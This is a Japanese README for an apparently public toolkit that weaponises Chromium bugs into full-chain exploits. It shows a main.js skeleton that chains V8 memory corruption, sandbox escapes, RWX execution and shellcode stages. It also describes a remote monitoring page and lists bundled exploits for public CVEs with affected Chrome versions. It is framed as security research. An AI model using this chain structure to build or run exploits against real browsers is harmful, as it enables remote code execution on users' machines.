
Chromiumの脆弱性を武器化して、信頼性の高いクロスプラットフォームなフルチェーンエクスプロイトを構築するツールキット
Chromium の脆弱性を信頼性の高いクロスプラットフォームなフルチェーンエクスプロイトに仕上げるためのツールキットです。
このプロジェクトは強力なヘルパースクリプト群を提供しますが、脆弱性そのものは自分で用意する必要があります。 最小限のエクスプロイトプリミティブの実装はあなたの責任で行い、それ以外のすべてはツールキットが処理します。
カスタムエクスプロイトチェーンは main.js スクリプトファイルに依存しており、ツールキットのヘルパースクリプトと一緒に自分の脆弱性を選択的に組み込むことができます:
// Exploit settings
let loglevel = 5;
let run_in_worker = false;
// Exploit chain
async function main() {
// Common helpers
await include("kit/common/convert.js");
await include("kit/common/dom.js");
await include("kit/common/stability.js");
await include("kit/common/v8-utils.js");
await include("kit/common/versions.js");
await include("kit/common/wasm-module-builder.js");
// Symbols database for your exploit chain
await include("vulns/symbols.js");
// Early fingerprinting
await include("kit/fingerprint/d8.js");
await include("kit/fingerprint/useragent.js");
// Your initial V8 memory corruption
// This should craft addrOf() & fakeObj() primitives
await include("vulns/memcor/your-code.js");
// Bootstrap stage-2 primitives & gain memory read/write inside the V8 SBX
await include("kit/v8/cage.js");
// Your V8 sandbox escape
// This should craft arbRead() & arbWrite() primitives AND leak some pointers
await include("vulns/v8sbx/your-code.js");
// Utils to manipulate the renderer memory
await include("kit/v8/memory.js");
// Achieve code execution (automatically select the best method based on the leaked pointers)
await include("kit/v8/rwx/egghunt.js");
await include("kit/v8/rwx/isolate.js");
await include("kit/v8/rwx/partitionalloc.js");
await include("kit/v8/rwx/wasmrwx.js");
await include("kit/v8/rwx.js");
// Bootstrap stage-3 primitives & provide generic shellcodes
await include("kit/shellcodes/x64.js");
await include("kit/shellcodes/x64-win.js");
await include("kit/shellcodes/x64-linux.js");
// Precise fingerprinting
await include("kit/fingerprint/win.js");
await include("kit/fingerprint/linux.js");
// Enable MojoJS and other protected flags
await include("kit/renderer/mojo.js");
// Your sandbox escape
await include("vulns/sbx/your-code.js");
}
/*
Other customizable features are implemented here
(logging, clean exit handling, exploit reloading, scripts execution context...)
...
*/
利用可能な機能の包括的な概要については、ドキュメント を参照してください。
テスト用ウェブページは index.html に用意されています。
ログの出力、クラッシュの処理、メインスクリプトによるプロジェクトのサブフォルダからのファイルのインクルードが可能です。
ローカルでは python3 server.py を実行し、http://localhost:8000 にアクセスすることで動作させられます。
monitor.html ウェブページは、エクスプロイトをリモートで監視・テストするためのシンプルなインターフェースを提供します。
リモートホスト、エクスプロイトログ、エラー統計を表示します。
また、エクスプロイトのリロードやストレステストモードなど、リモートホストへのコマンド送信も可能です。
エクスプロイト開発の初期段階では、d8 でメインのエクスプロイトスクリプトを実行することもできます:d8.exe main.js。
エクスプロイトチェーンが完成したら、さまざまなタスクを自動化するための ツール が提供されています:
build.py - エクスプロイトを単一のスクリプトにビルドするためdownload.py - 特定の Google Chrome リリースをダウンロードするためsymbols.py - PDB 解析を自動化するためツールキットの機能を紹介するため、公開されている脆弱性に対するエクスプロイトがいくつか提供されています:
| 脆弱性 | 影響を受けるバージョン (Chrome Stable) | 詳細 |
|---|---|---|
| CVE-2024-11114 | 94 - 130 (Windows のみ) | startDragging() Mojo IPC インターフェースを使用してマウスを制御し、ダウンロードしたファイルを実行してサンドボックスを脱出できます |
デモンストレーション用のエクスプロイトチェーンがデフォルトの main.js に用意されています。これは以下の脆弱性に依存しています:
このエクスプロイトチェーンは、Chrome 130 stable および 130.0.6723.160 までの拡張リリースであれば、そのまま動作します。シンボル を追加することで、M128、M129、M131 (< 131.0.6778.264) にも簡単に拡張できます。
エクスプロイトは監視ウェブページからリモートでテストすることもできます:

このツールキットは厳密にセキュリティ研究を目的としています。それ自体は、Chromium プロジェクトにおける未公開の脆弱性を悪用するためのいかなる材料も提供しません。悪意のある目的での本ツールキットの使用は、すべて利用者の責任となります。
公開リリースは GNU AGPLv3 の条件に基づいてライセンスされています。具体的には、本ツールキットを基にしたプライベートエクスプロイトの売買は、これらの条件の下では許可されません。最初の公開リリース前に行われた以前のコミットはライセンス未付与であり、デフォルトの著作権法によって保護されています。
このプロジェクトにはサードパーティのライセンス済みコンポーネントが含まれています。詳細は こちら を参照してください。
| 脆弱性 | 影響を受けるバージョン (Chrome Stable) | 詳細 |
|---|
| CVE-2024-7971 | <= 127 | Liftoff の ParallelMove 中における WASM 型混同 |
| CVE-2025-0291 | 128 - 131 (< 131.0.6778.264、脆弱なコンポーネントは Finch 経由で配信) | 単一ブロックループにおける Turboshaft の WasmGCTypeAnalyzer の型混同 |
| CVE-2025-2135 | 133 - 134 (< 134.0.6998.88) | TransitionElementsKindOrCheckMap におけるエイリアシングオブジェクトの型混同 |
| CVE-2025-5419 | <= 136 (Finch キルスイッチは 133 から) | 動的インデックスに対する無効なストア・ストア除去によるメモリの範囲外アクセス |
| 脆弱性 | 影響を受けるバージョン (Chrome Stable) | 詳細 |
|---|
| 352689356 | <= 131 | インライン化されていない TurboFan call_ref における WASM 関数シグネチャ混同 |
| 379140430 | <= 132 | サンドボックス内 Tuple2 破壊を伴う WasmToJsWrapper の tier-up におけるシグネチャ型混同 |
| 395659804 | <= 134 | OSR DeoptimizationData の混同による任意コード実行 |
| 421403261 | 134 - 137 (< 137.0.7151.119、x64 のみ) | Liftoff におけるシグネチャハッシュ i32/i64 の衝突 |